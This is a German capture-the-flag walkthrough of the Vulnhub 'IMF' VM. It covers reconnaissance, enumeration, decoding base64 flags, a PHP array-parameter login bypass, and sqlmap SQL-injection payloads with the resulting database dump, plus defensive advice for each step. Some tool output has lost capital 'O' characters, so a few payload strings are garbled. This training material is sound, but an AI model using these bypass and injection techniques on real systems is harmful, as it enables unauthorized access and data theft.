IMF - Vulnhub - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
gobuster
base64
sqlmap
weevely
nc
find
msfconsole
meterpreter
id
cd
ls
cat
rm
mkfifo

Inhaltsverzeichnis

Reconnaissance

Die Reconnaissance-Phase beginnt mit einem ARP-Scan, um aktive Hosts im lokalen Netzwerk zu entdecken. ARP (Address Resolution Protocol) wird verwendet, um IP-Adressen MAC-Adressen zuzuordnen. `-l` steht für localnet und scannt das gesamte Subnetz.

┌──(root㉿Cybermaschine)-[~]
└─# arp-scan -l
192.168.2.104	08:00:27:a1:f5:e7	PCS Systemtechnik GmbH
                    

**Analyse:** Der Scan identifiziert erfolgreich einen Host mit der IP-Adresse 192.168.2.104. Die MAC-Adresse 08:00:27:a1:f5:e7 gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH ist der ursprüngliche Hersteller), was darauf hindeutet, dass es sich um unsere Ziel-VM handelt.
**Bewertung:** Die Ziel-IP ist identifiziert. Dies ist der grundlegende erste Schritt für alle weiteren Scans.
**Empfehlung (Pentester):** Notiere die IP-Adresse 192.168.2.104 als Ziel.
**Empfehlung (Admin):** Keine spezifische Aktion erforderlich, bestätigt jedoch die Sichtbarkeit der VM im Netzwerk. Netzwerk-Monitoring könnte ungewöhnliche ARP-Aktivitäten erkennen.

Um die Interaktion mit dem Zielsystem zu erleichtern, insbesondere bei Webanwendungen, die auf Hostnamen basieren könnten (Virtual Hosting), fügen wir einen Eintrag zur lokalen `/etc/hosts`-Datei auf unserem Angreifer-System hinzu.

┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
 192.168.2.104   imf.vln
                    

**Analyse:** Die IP 192.168.2.104 wird dem Hostnamen `imf.vln` zugeordnet. Dies ermöglicht uns, `imf.vln` statt der IP-Adresse in URLs und Befehlen zu verwenden.
**Bewertung:** Ein praktischer Schritt, der die Lesbarkeit von Befehlen verbessert und potenzielle Probleme mit VHosts umgeht.
**Empfehlung (Pentester):** Verwende `imf.vln` in zukünftigen Web-Anfragen und Scans.
**Empfehlung (Admin):** Dies ist eine lokale Einstellung des Angreifers, keine Aktion auf dem Zielserver erforderlich.

Wir führen einen Nmap-Scan durch, um offene Ports, Dienste und deren Versionen zu identifizieren. Dies ist ein entscheidender Schritt, um potenzielle Angriffsvektoren zu finden. * `-sS`: TCP SYN Scan (Stealth Scan). * `-sC`: Standard-Nmap-Skripte ausführen. * `-sV`: Versionserkennung für Dienste. * `-T5`: Timing-Template "insane" für einen sehr schnellen Scan (kann ungenau sein oder IDS/Firewalls auslösen). * `-A`: Aggressiver Scan (OS-Erkennung, Versionserkennung, Skript-Scanning, Traceroute). * `-Pn`: Host-Discovery überspringen (Ping ignorieren). * `-p-`: Alle 65535 TCP-Ports scannen.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.104 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-14 23:59 CEST
Nmap scan report for imf (192.168.2.104)
Host is up (0.00018s latency).
Not shown: 65534 filtered tcp ports (no-response)
PRT   STATE SERVICE VERSIN
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: IMF - Homepage
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:A1:F5:E7 (racle VirtualBox virtual NIC)
Warning: SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive S guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (87%), Linux 3.13 - 3.16 (87%), Linux 3.16 (87%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.18 ms imf (192.168.2.104)
                    

**Analyse:** Der Nmap-Scan findet nur einen offenen Port: * **Port 80 (HTTP):** Apache httpd 2.4.18 (Ubuntu). Der Titel der Seite ist "IMF - Homepage". * Die hohe Anzahl gefilterter Ports (`no-response`) deutet auf eine Firewall hin, die Pakete verwirft. * Die OS-Erkennung ist unsicher (`test conditions non-ideal`), was oft bei nur einem offenen Port oder aggressiven Scan-Timings (`-T5`) passiert. Die Vermutungen deuten auf einen Linux-Kernel hin.
**Bewertung:** Die Angriffsfläche ist auf den Webserver auf Port 80 beschränkt. Dies wird unser Hauptfokus sein. Die Apache-Version 2.4.18 ist veraltet und könnte bekannte Schwachstellen aufweisen.
**Empfehlung (Pentester):** Konzentriere die Enumeration und Ausnutzungsversuche auf den Webserver auf Port 80. Führe Web-spezifische Scans (Nikto, Gobuster) durch.
**Empfehlung (Admin):** Aktualisiere Apache auf die neueste Version. Überprüfe die Firewall-Konfiguration, um sicherzustellen, dass nur notwendige Ports offen sind (was hier der Fall zu sein scheint, aber eine Bestätigung ist gut).

Wir wiederholen den Nmap-Scan und filtern die Ausgabe direkt mit `grep`, um nur die offenen Ports anzuzeigen. Dies dient der schnellen Bestätigung.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.104 -p- | grep open
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
                    

**Analyse:** Wie erwartet, bestätigt dieser gefilterte Scan, dass nur Port 80 (HTTP) offen ist.
**Bewertung:** Bestätigt das vorherige Ergebnis. Keine neuen Informationen, aber eine übersichtliche Darstellung.

Web Enumeration

Wir verwenden Nikto, einen Webserver-Scanner, um bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse auf dem Webserver (Port 80) zu identifizieren. `-h` gibt das Ziel an.

┌──(root㉿Cybermaschine)-[~]
└─# nikto -h 192.168.2.104
- Nikto v2.5.0

+ Target IP:          192.168.2.104
+ Target Hostname:    192.168.2.104
+ Target Port:        80
+ Start Time:         2023-10-14 23:59:46 (GMT2)

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-10-15 00:00:07 (GMT2) (21 seconds)

+ 1 host(s) tested
                    

**Analyse:** Nikto liefert mehrere interessante Ergebnisse: * **Fehlende Security Header:** `X-Frame-Options` und `X-Content-Type-Options` fehlen (geringes Risiko). * **Private IP Disclosure:** Bei Anfragen an `/images` (vermutlich ein Verzeichnis) wird eine interne IP (127.0.1.1) im `Location`-Header preisgegeben. Dies ist ein Informationsleck. * **Veralteter Apache:** Bestätigt die veraltete Version 2.4.18. * **/icons/README:** Standard-Apache-Datei gefunden (geringfügig). * `/#wp-config.php#`: Nikto meldet den Fund einer WordPress-Konfigurationsdatei (`wp-config.php`). Dies ist jedoch wahrscheinlich ein **False Positive**, da der Rest der Anwendung nicht wie WordPress aussieht. Nikto testet oft auf gängige CMS-Dateien.
**Bewertung:** Die wichtigsten Ergebnisse sind die veraltete Apache-Version und das Informationsleck der internen IP. Die fehlenden Header sind Standardbefunde. Der WordPress-Fund ist wahrscheinlich falsch.
**Empfehlung (Pentester):** Untersuche die Webanwendung weiter mit Directory Brute-Forcing (Gobuster). Behalte die veraltete Apache-Version im Hinterkopf für mögliche Exploits. Das IP-Leak ist für externe Angriffe weniger relevant, könnte aber in komplexeren Szenarien nützlich sein.
**Empfehlung (Admin):** Aktualisiere Apache. Konfiguriere den Webserver so, dass keine internen IPs in Headern preisgegeben werden. Implementiere die fehlenden Security Header. Entferne unnötige Standarddateien wie `/icons/README`.

Wir verwenden Gobuster, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. * `-u http://imf.vln`: Ziel-URL. * `-x ...`: Liste von Dateierweiterungen, die zusätzlich zu den Wortlisteneinträgen getestet werden sollen. * `-w ...`: Pfad zur Wortliste. * `-b '403,404,301'`: Statuscodes, die ignoriert werden sollen (Forbidden, Not Found, Moved Permanently - *Achtung: 301 auszublenden kann dazu führen, dass Verzeichnisse ohne Trailing Slash übersehen werden*). * `-e`: Zeigt die vollständige URL für gefundene Ressourcen an. * `--no-error`: Unterdrückt Verbindungsfehler. * `-k`: Ignoriert SSL-Zertifikatsfehler (hier irrelevant).

┌──(root㉿Cybermaschine)-[~]
└─# gobuster dir -u http://imf.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://imf.vln/index.php            (Status: 200) [Size: 4797]
http://imf.vln/contact.php          (Status: 200) [Size: 8649]
http://imf.vln/projects.php         (Status: 200) [Size: 6574]
                    

**Analyse:** Gobuster findet drei PHP-Seiten: `index.php`, `contact.php`, `projects.php`. Keine versteckten Verzeichnisse wurden auf dieser Ebene entdeckt (möglicherweise wegen `-b 301`).
**Bewertung:** Die gefundenen Seiten stellen die sichtbare Struktur der Webanwendung dar. Wir müssen diese Seiten genauer untersuchen.
**Empfehlung (Pentester):** Untersuche den Quellcode und die Funktionalität der Seiten `index.php`, `contact.php` und `projects.php`. Führe Gobuster ggf. erneut ohne `-b 301` aus oder spezifisch für Verzeichnisse (`gobuster dir ... -d`).

Untersuchung des Quellcodes der Startseite `index.php`.

view-source:http://imf.vln/index.php
    -- Place favicon.ico and apple-touch-icon.png in the root directory -->

 -- Fonts -->

 -- /.navbar-collapse -->
 -- /.container-fluid -->
Roger S. Michaels
rmicaels@imf.local
Director
Alexander B. Keith
akeith@imf.local
Deputy Director
Elizabeth R. Stone
estone@imf.local
Chief of Staff
                    

**Analyse:** Im Quellcode der Startseite finden wir Namen und E-Mail-Adressen von Mitarbeitern. Die E-Mails verwenden die Domain `imf.local`. Die Benutzernamen scheinen aus dem ersten Buchstaben des Vornamens und dem Nachnamen zu bestehen (z.B. `rmichaels`).
**Bewertung:** Dies ist ein wertvolles Informationsleck. Wir haben potenzielle Benutzernamen (`rmichaels`, `akeith`, `estone`) und eine weitere Domain (`imf.local`), die zum Ziel gehören könnte.
**Empfehlung (Pentester):** Füge `imf.local` zur `/etc/hosts`-Datei hinzu. Notiere die potenziellen Benutzernamen für spätere Brute-Force-Versuche oder als Logins, falls Passwörter gefunden werden.

Wir fügen die neu entdeckte Domain `imf.local` zu unserer `/etc/hosts`-Datei hinzu, um sicherzustellen, dass Anfragen an diese Domain korrekt zur Ziel-IP aufgelöst werden.

┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
 192.168.2.104   imf.vln imf.local
                    

**Analyse:** Der Eintrag wurde erfolgreich aktualisiert. Beide Hostnamen (`imf.vln`, `imf.local`) zeigen nun auf die Ziel-IP.
**Bewertung:** Notwendiger Schritt, um sicherzustellen, dass wir alle potenziellen Webanwendungen oder Dienste unter den richtigen Namen ansprechen können.

Untersuchung des Quellcodes der Kontaktseite `contact.php`.

view-source:http://imf.vln/contact.php

 -- flag1{YWxsdGhlZmlsZXM=} -->
allthefiles
                    

**Analyse:** Im HTML-Quellcode der Kontaktseite finden wir einen Kommentar, der eine Base64-kodierte Zeichenkette enthält: `flag1{YWxsdGhlZmlsZXM=}`.
**Bewertung:** Dies ist die erste Flag! Sie ist direkt im Quellcode versteckt. Das Dekodieren von `YWxsdGhlZmlsZXM=` ergibt `allthefiles`.
**Empfehlung (Pentester):** Notiere die Flag. Untersuche die Seite weiter auf Funktionalitäten.
**Empfehlung (Admin):** Entferne sensible Informationen und Flags aus öffentlich zugänglichem Quellcode. Kommentare sollten keine sicherheitsrelevanten Daten enthalten.

Weitere Untersuchung der Kontaktseite. Es scheint ein Formular zu geben (GET-Request-Parameter `email`, `name`, `comments` sind sichtbar) und es werden mehrere JavaScript-Dateien geladen, deren Namen Base64-kodiert zu sein scheinen.

GET /contact.php?email=ben%40hacker.de&name=ben+hacker&comments=cdsavsdvdsv HTTP/1.1

  src="js/vendor/modernizr-2.6.2.min.js"
 src="js/vendor/jquery-1.10.2.min.js"
 src="js/bootstrap.min.js"
 src="js/ZmxhZzJ7YVcxbVl.js"
 src="js/XUnRhVzVwYzNS.js"
 src="js/eVlYUnZjZz09fQ.min.js"
                    

**Analyse:** Die JavaScript-Dateien `ZmxhZzJ7YVcxbVl.js`, `XUnRhVzVwYzNS.js`, `eVlYUnZjZz09fQ.min.js` haben Base64-kodierte Namen. Wir extrahieren diese Teile.
**Bewertung:** Das Verstecken von Informationen in Dateinamen durch Kodierung ist eine gängige CTF-Technik. Dies deutet auf eine weitere Flag oder einen Hinweis hin.
**Empfehlung (Pentester):** Extrahiere die Base64-Teile, füge sie zusammen und dekodiere sie.

Wir extrahieren die Base64-Teile aus den JavaScript-Dateinamen, fügen sie zusammen und dekodieren das Ergebnis.

-----------------------------------------------------------------------------------------------------
base64 -decode
-----------------------------------------------------------------------------------------------------
ZmxhZzJ7YVcxbVl
XUnRhVzVwYzNS
eVlYUnZjZz09fQ


ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ
                     
┌──(root㉿Cybermaschine)-[~]
└─# echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ" -n | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg}
                    
┌──(root㉿Cybermaschine)-[~]
└─# echo "aW1mYWRtaW5pc3RyYXRvcg" -n | base64 -d
imfadministrator
                    

**Analyse:** 1. Die Base64-Teile (`ZmxhZzJ7YVcxbVl`, `XUnRhVzVwYzNS`, `eVlYUnZjZz09fQ`) werden konkateniert zu `ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ`. 2. Das Dekodieren dieser Zeichenkette ergibt Flag 2: `flag2{aW1mYWRtaW5pc3RyYXRvcg}`. 3. Der innere Teil der Flag (`aW1mYWRtaW5pc3RyYXRvcg`) wird erneut dekodiert und ergibt `imfadministrator`.
**Bewertung:** Dies ist ein signifikanter Fund! Wir haben nicht nur Flag 2 gefunden, sondern auch den Namen eines versteckten Verzeichnisses oder einer Administrationsseite: `/imfadministrator`.
**Empfehlung (Pentester):** Versuche, auf `http://imf.vln/imfadministrator/` zuzugreifen. Notiere Flag 2.
**Empfehlung (Admin):** Vermeide das Verstecken von Pfaden oder Informationen durch einfache Kodierung in öffentlich zugänglichen Dateinamen oder Quellcodes (Security through Obscurity ist keine verlässliche Sicherheit).

Wir greifen auf das neu entdeckte Verzeichnis `/imfadministrator/` zu.

http://imf.vln/imfadministrator/
Username:
Password:
  I couldn't get the SQL working, so I hard-coded the password.
     It's still mad secure through. - Roger -->
                    

**Analyse:** Wir finden eine Login-Seite. Im HTML-Quellcode befindet sich ein Kommentar von "Roger" (Roger S. Michaels, dessen E-Mail wir auf der Startseite fanden), der besagt, dass das Passwort fest kodiert ("hard-coded") ist, weil SQL nicht funktionierte.
**Bewertung:** Das ist ein wichtiger Hinweis. Es deutet darauf hin, dass wir das Passwort möglicherweise im Quellcode der Login-Seite oder einer damit verbundenen Datei finden können, anstatt eine Datenbankabfrage oder einen Brute-Force-Angriff durchführen zu müssen. Der Kommentar erwähnt auch, dass es "mad secure" sei, was oft ironisch gemeint ist in CTFs.
**Empfehlung (Pentester):** Untersuche den Quellcode der Login-Seite (`index.php` im `/imfadministrator`-Verzeichnis) sehr genau auf das hartkodierte Passwort. Führe einen Gobuster-Scan auf `/imfadministrator` durch, um weitere Dateien zu finden. Versuche, mit den zuvor gefundenen Benutzernamen (`rmichaels`, `akeith`, `estone`) und erratenen/gefundenen Passwörtern einzuloggen.

Wir führen einen Gobuster-Scan im Verzeichnis `/imfadministrator` durch, um weitere Seiten oder Skripte zu finden.

┌──(root㉿Cybermaschine)-[~]
└─# gobuster dir -u http://imf.vln/imfadministrator -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://imf.vln/imfadministrator/index.php            (Status: 200) [Size: 337]
http://imf.vln/imfadministrator/cms.php              (Status: 200) [Size: 134]
                    

**Analyse:** Gobuster findet die erwartete `index.php` (die Login-Seite) und eine weitere Seite `cms.php`.
**Bewertung:** `cms.php` ist wahrscheinlich die Seite, auf die man nach erfolgreichem Login weitergeleitet wird.
**Empfehlung (Pentester):** Untersuche den Quellcode von `index.php` und versuche, auf `cms.php` direkt zuzugreifen (was wahrscheinlich fehlschlägt oder eine Login-Aufforderung zeigt).

Untersuchung des Quellcodes von `cms.php`.

view-source:http://imf.vln/imfadministrator/cms.php
 IMF CMS
Please login href='index.php'
                    

**Analyse:** Der direkte Zugriff auf `cms.php` ohne Authentifizierung zeigt nur eine Meldung "Please login" mit einem Link zurück zur `index.php`.
**Bewertung:** Bestätigt, dass `cms.php` eine Authentifizierung erfordert.

Initial Access

Wir analysieren einen abgefangenen POST-Request an die Login-Seite `/imfadministrator/index.php`. Dies geschah wahrscheinlich durch Ausprobieren oder Abfangen mit einem Proxy wie Burp Suite.

PST /imfadministrator/index.php HTTP/1.1
Host: imf.vln
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
rigin: http://imf.vln
Connection: close
Referer: http://imf.vln/imfadministrator/index.php
Cookie: PHPSESSID=pd3rlom2tvh762951595lkc2k1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: localhost


user=rmichaels&pass[]=pass



HTTP/1.1 200 K
Date: Sat, 14 ct 2023 22:47:38 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 100
Connection: close
Content-Type: text/html; charset=UTF-8

-----------------------------------------------------------------------------------------------------

flag3{Y29udGludWVUT2Ntcw}
Welcome, rmichaels
IMF CMS

**Analyse:** Der Request sendet `user=rmichaels` (einer der gefundenen Benutzernamen) und `pass[]=pass`. Die Verwendung von `pass[]` statt `pass` ist ein bekannter Trick, um bestimmte PHP-Vergleiche oder Sicherheitsmaßnahmen zu umgehen, die mit Arrays anders umgehen als mit Strings (z.B. `password == array()` könnte `true` ergeben). Die Antwort ist ein `HTTP/1.1 200 OK` und enthält Flag 3 (`flag3{Y29udGludWVUT2Ntcw}`), eine Willkommensnachricht für `rmichaels` und einen Link zur `cms.php`.
**Bewertung:** Dies ist ein kritischer Fund! Der Login war erfolgreich mittels einer PHP Type Juggling / Array-Bypass-Schwachstelle für das Passwortfeld. Wir haben nun Zugriff auf den Admin-Bereich als `rmichaels` und Flag 3 gefunden.
**Empfehlung (Pentester):** Dekodiere Flag 3. Erkunde die `cms.php`-Seite als `rmichaels`.
**Empfehlung (Admin):** Behebe die Login-Schwachstelle dringend! Verwende strikte Vergleiche (z.B. `===` in PHP) und validiere den Typ der Eingabeparameter korrekt. Überprüfe den Code auf hartkodierte Passwörter oder unsichere Authentifizierungslogik.

Dekodierung von Flag 3 und Untersuchung der CMS-Seite nach dem Login.

flag3{Y29udGludWVUT2Ntcw}
Welcome, rmichaels
IMF CMS ----------------------------------------------------------------------------------------------------- http://imf.vln/imfadministrator/cms.php?pagename=home' IMF CMS Menu: Home | Upload Report | Disavowed list | Logout Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/imfadministrator/cms.php on line 29 http://imf.vln/imfadministrator/cms.php?pagename=home IMF CMS Menu: Home | Upload Report | Disavowed list | Logout Welcome to the IMF Administration. Secretary ----------------------------------------------------------------------------------------------------- http://imf.vln/imfadministrator/ roger:Secretary flag3{Y29udGludWVUT2Ntcw} Welcome, roger IMF CMS Y29udGludWVUT2Ntcw continueTcms

**Analyse:** * Flag 3 (`Y29udGludWVUT2Ntcw`) wird zu `continueTcms` dekodiert. * Beim Aufruf von `cms.php?pagename=home'` (mit einem zusätzlichen Apostroph) tritt ein MySQLi-Fehler auf (`mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given...`). Dies ist ein starker Hinweis auf eine SQL-Injection-Schwachstelle im `pagename`-Parameter. Der Fehler tritt auf, weil die SQL-Abfrage durch das zusätzliche Apostroph fehlschlägt und `false` (ein Boolean) statt eines Ergebnisobjekts zurückgibt. * Der normale Aufruf von `cms.php?pagename=home` zeigt die Willkommensseite des CMS mit Menüpunkten wie "Home", "Upload Report", "Disavowed list". * Es wird auch ein Login mit `roger:Secretary` erwähnt, was darauf hindeutet, dass dies das hartkodierte Passwort aus dem Kommentar sein könnte. *Korrektur:* Der Text zeigt `roger:Secretary` unter der URL `http://imf.vln/imfadministrator/`, was nicht ganz konsistent ist, aber impliziert, dass dies gültige Zugangsdaten sind. Da wir aber schon per Bypass drin sind, ist das weniger relevant, aber gut zu wissen.
**Bewertung:** Die SQL-Injection-Schwachstelle im `pagename`-Parameter ist der wichtigste Fund hier. Sie bietet einen Weg, die Datenbank auszulesen oder möglicherweise RCE zu erlangen.
**Empfehlung (Pentester):** Nutze `sqlmap` oder führe manuelle SQL-Injection-Tests für den `pagename`-Parameter durch, um die Datenbankstruktur und Inhalte auszulesen. Untersuche die Menüpunkte "Upload Report" und "Disavowed list".
**Empfehlung (Admin):** Behebe die SQL-Injection-Schwachstelle dringend! Verwende Prepared Statements mit parametrisierten Abfragen, um SQL-Injection zu verhindern. Sanitize alle Benutzereingaben. Entferne das hartkodierte Passwort `Secretary` und implementiere eine sichere Passwort-Hashing- und Speicherlösung.

Wir verwenden `sqlmap`, ein automatisiertes Tool zur Erkennung und Ausnutzung von SQL-Injection-Schwachstellen, um die Datenbank hinter dem CMS zu untersuchen. Wir speichern den verwundbaren Request in einer Datei (`reg.sql`) und lassen sqlmap damit arbeiten. * `-r /home/cyber/Downloads/reg.sql`: Liest den HTTP-Request aus der Datei. `sqlmap` wird den mit `*` markierten Parameter testen. * `--dbs`: Listet die verfügbaren Datenbanken auf. * `--batch`: Führt `sqlmap` im nicht-interaktiven Modus aus und verwendet Standardantworten. * `--risk 3 --level 5`: Erhöht die Gründlichkeit der Tests (mehr Payloads, mehr Testtypen). * `--threads=10`: Verwendet 10 parallele Threads für schnellere Tests.

┌──(root㉿Cybermaschine)-[~]
└─# sqlmap -r /home/cyber/Downloads/reg.sql --dbs --batch --risk 3 --level 5 --threads=10
[...]
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 648 HTTP(s) requests:

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: R boolean-based blind - WHERE or HAVING clause (NT)
    Payload: http://imf.vln/imfadministrator/cms.php?pagename=' R NT 8844=8844 AND 'lWMC'='lWMC

    Type: error-based
    Title: MySQL >= 5.0 R error-based - WHERE, HAVING, RDER BY or GRUP BY clause (FLR)
    Payload: http://imf.vln/imfadministrator/cms.php?pagename=' R (SELECT 1890 FRM(SELECT CUNT(*),CNCAT(0x7170627a71,(SELECT (ELT(1890=1890,1))),0x716b766271,FLR(RAND(0)*2))x FRM INFRMATIN_SCHEMA.PLUGINS GRUP BY x)a) AND 'MqjN'='MqjN

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://imf.vln/imfadministrator/cms.php?pagename=' AND (SELECT 3410 FRM (SELECT(SLEEP(5)))NVpU) AND 'RUIo'='RUIo

[00:56:59] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (xenial or yakkety)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0
[00:56:59] [INF] fetching database names
[00:56:59] [INF] starting 5 threads
[00:56:59] [INF] retrieved: 'mysql'
[00:56:59] [INF] retrieved: 'information_schema'
[00:56:59] [INF] retrieved: 'admin'
[00:56:59] [INF] retrieved: 'performance_schema'
[00:56:59] [INF] retrieved: 'sys'
available databases [5]:
[*] admin
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
                    

**Analyse:** `sqlmap` bestätigt die SQL-Injection-Schwachstelle im `pagename`-Parameter (markiert als `#1*` im Request) und identifiziert verschiedene Injektionstypen (boolean-based blind, error-based, time-based blind). Es erkennt das Backend als MySQL >= 5.0 auf einem Linux Ubuntu System mit Apache 2.4.18. Anschließend listet es die verfügbaren Datenbanken auf: `admin`, `information_schema`, `mysql`, `performance_schema`, `sys`. Die Datenbank `admin` ist die wahrscheinlich relevante Anwendungsdatenbank.
**Bewertung:** Erfolgreiche Bestätigung und Charakterisierung der SQLi. Die Datenbank `admin` ist das nächste Ziel.
**Empfehlung (Pentester):** Untersuche die Datenbank `admin` mit `sqlmap`, um Tabellen aufzulisten (`-D admin --tables`).

Wir verwenden `sqlmap` erneut, um die Tabellen innerhalb der `admin`-Datenbank aufzulisten. * `-D admin`: Gibt die Zieldatenbank an. * `--tables`: Listet die Tabellen in der angegebenen Datenbank auf.

┌──(root㉿Cybermaschine)-[~]
└─# sqlmap -r /home/cyber/Downloads/reg.sql -D admin --tables --batch --risk 3 --level 5 --threads=10
[...]
[00:57:53] [INF] fetching tables for database: 'admin'
[00:57:53] [INF] retrieved: 'pages'
Database: admin
[1 table]
+-+
| pages |
+-+

[00:57:53] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/imf.vln'

[*] ending @ 00:57:53 /2023-10-15/
                    

**Analyse:** `sqlmap` findet eine einzige Tabelle namens `pages` in der `admin`-Datenbank.
**Bewertung:** Diese Tabelle enthält wahrscheinlich die Inhalte, die im CMS angezeigt werden (wie auf der `home`-Seite gesehen).
**Empfehlung (Pentester):** Lese den Inhalt der Tabelle `pages` mit `sqlmap` aus (`-T pages --dump`).

Wir verwenden `sqlmap` ein drittes Mal, um den gesamten Inhalt der Tabelle `pages` auszulesen (dump). * `-T pages`: Gibt die Zieltabelle an. * `--dump`: Lädt den Inhalt der angegebenen Tabelle(n) herunter.

┌──(root㉿Cybermaschine)-[~]
└─# sqlmap -r /home/cyber/Downloads/reg.sql -D admin -T pages --dump --batch --risk 3 --level 5 --threads=10
[...]
[00:58:20] [INF] fetching columns for table 'pages' in database 'admin'
[00:58:20] [INF] starting 3 threads
[00:58:20] [INF] retrieved: 'id'
[00:58:20] [INF] retrieved: 'pagename'
[00:58:20] [INF] retrieved: 'pagedata'
[00:58:20] [INF] retrieved: 'varchar(255)'
[00:58:20] [INF] retrieved: 'int(11)'
[00:58:20] [INF] retrieved: 'text'
[00:58:20] [INF] fetching entries for table 'pages' in database 'admin'
[00:58:20] [INF] starting 4 threads
[00:58:20] [INF] retrieved: '2'
[00:58:20] [INF] retrieved: '1'
[00:58:20] [INF] retrieved: '3'
[00:58:20] [INF] retrieved: 'Welcome to the IMF Administration.'
[00:58:20] [INF] retrieved: '4'
[00:58:20] [INF] retrieved: 'Under Construction.'
[00:58:20] [INF] retrieved: 'home'
[00:58:20] [INF] retrieved: 'Training classrooms available. 


Contact us for training. | tutorials-incomplete | | 4 |

Disavowed List


  • *
  • *

-Secretary | disavowlist | +-+--+-+ [00:58:20] [INF] table '`admin`.pages' dumped to CSV file '/root/.local/share/sqlmap/output/imf.vln/dump/admin/pages.csv' [00:58:20] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/imf.vln' [*] ending @ 00:58:20 /2023-10-15/

**Analyse:** `sqlmap` identifiziert die Spalten (`id`, `pagename`, `pagedata`) und lädt die vier Einträge der Tabelle `pages` herunter. Die Einträge entsprechen den Seiten, die wir im CMS gesehen haben (`home`, `upload`, `tutorials-incomplete`, `disavowlist`). Der Eintrag für `tutorials-incomplete` erwähnt ein Bild: ``. Der Eintrag für `disavowlist` erwähnt ebenfalls ein Bild (`redacted.jpg`).
**Bewertung:** Die Tabelle selbst enthält keine direkten Zugangsdaten oder Flags. Der Hinweis auf `whiteboard.jpg` ist jedoch interessant, da Bilder manchmal versteckte Informationen (Steganographie) oder Hinweise enthalten.
**Empfehlung (Pentester):** Lade das Bild `http://imf.vln/imfadministrator/images/whiteboard.jpg` herunter und untersuche es auf versteckte Daten (z.B. mit `steghide`, `zsteg`, `exiftool` oder durch visuelle Inspektion auf QR-Codes o.ä.).

